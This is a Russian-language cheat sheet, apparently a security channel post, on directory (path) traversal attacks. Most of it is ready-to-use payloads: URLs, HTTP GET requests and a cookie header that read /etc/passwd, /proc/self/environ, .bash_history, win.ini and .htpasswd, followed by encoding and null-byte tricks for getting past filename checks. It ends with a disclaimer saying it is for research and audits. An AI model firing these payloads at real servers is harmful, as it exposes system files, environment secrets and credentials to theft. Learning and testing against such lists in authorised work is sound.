⚙️ Атака “Обход каталога”

Обход каталога (или обход пути) заключается в использовании недостаточной проверки безопасности/очистки введенных пользователем имен входных файлов, так что символы, представляющие “переход к родительскому каталогу”, передаются в файловые API.

Примеры

Windows

http://someurl.com?filename=..\..\..\windows\win.ini

c:\boot.ini
c:\windows\system32\drivers\etc\hosts
C:\xampp\apache\.htpasswd

Unix

http://someurl.com/../../../../etc/passwd

В HTTP GET запросе

GET /static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1

Получим переменные окружения текущего процесса

http://someurl.com/../../../../proc/self/environ
http://someurl.com/image?id=../proc/self/environ

Сведения об операционной системе жертвы

http://someurl.com/../../../../proc/version

Текущий пользователь

http://someurl.com/../../../../proc/self/version

Другая информация, например, о запущенных процессах

http://someurl.com/../../../../proc/sched_debug

История команд

http://someurl.com/../../../../home/<userid>/.bash_history
http://someurl.com/../../../../home/apache/.bash_history

В кукис

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

В sudo

sudo chown baduser /opt/myapp/myconfig/../../../etc/passwd)

Обход

Кодированный URI

%2e%2e%2f что переводится в ../
%2e%2e/ что переводится в ../
..%2f что переводится в ../
%2e%2e%5c что переводится в ..\

Проверка в начале пути

Приложение ожидает, что имя файла будет начинаться с базовой папки, например, /var/www/images.

filename=/var/www/images/../../../etc/passwd

Расширение файла подтверждено

Приложение ожидает, что имя файла будет заканчиваться определенным расширением (например, “.png”).

Попробуйте ввести нулевой байт.

filename=../../../etc/passwd%00.png

см. также:

• 🕷️ Быстрый обзор: Уязвимость обхода пути
• 🕵️ Обход 40X кодов ответа с помощью dontgo403
• 🕵️ Обход ограничений на загрузку файлов в веб-приложениях, чтобы открыть шелл
• 🖧 Burp Bounty: BurpSuite расширение для улучшения активного и пассивного сканера

  ¯\_(ツ)_/

  Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.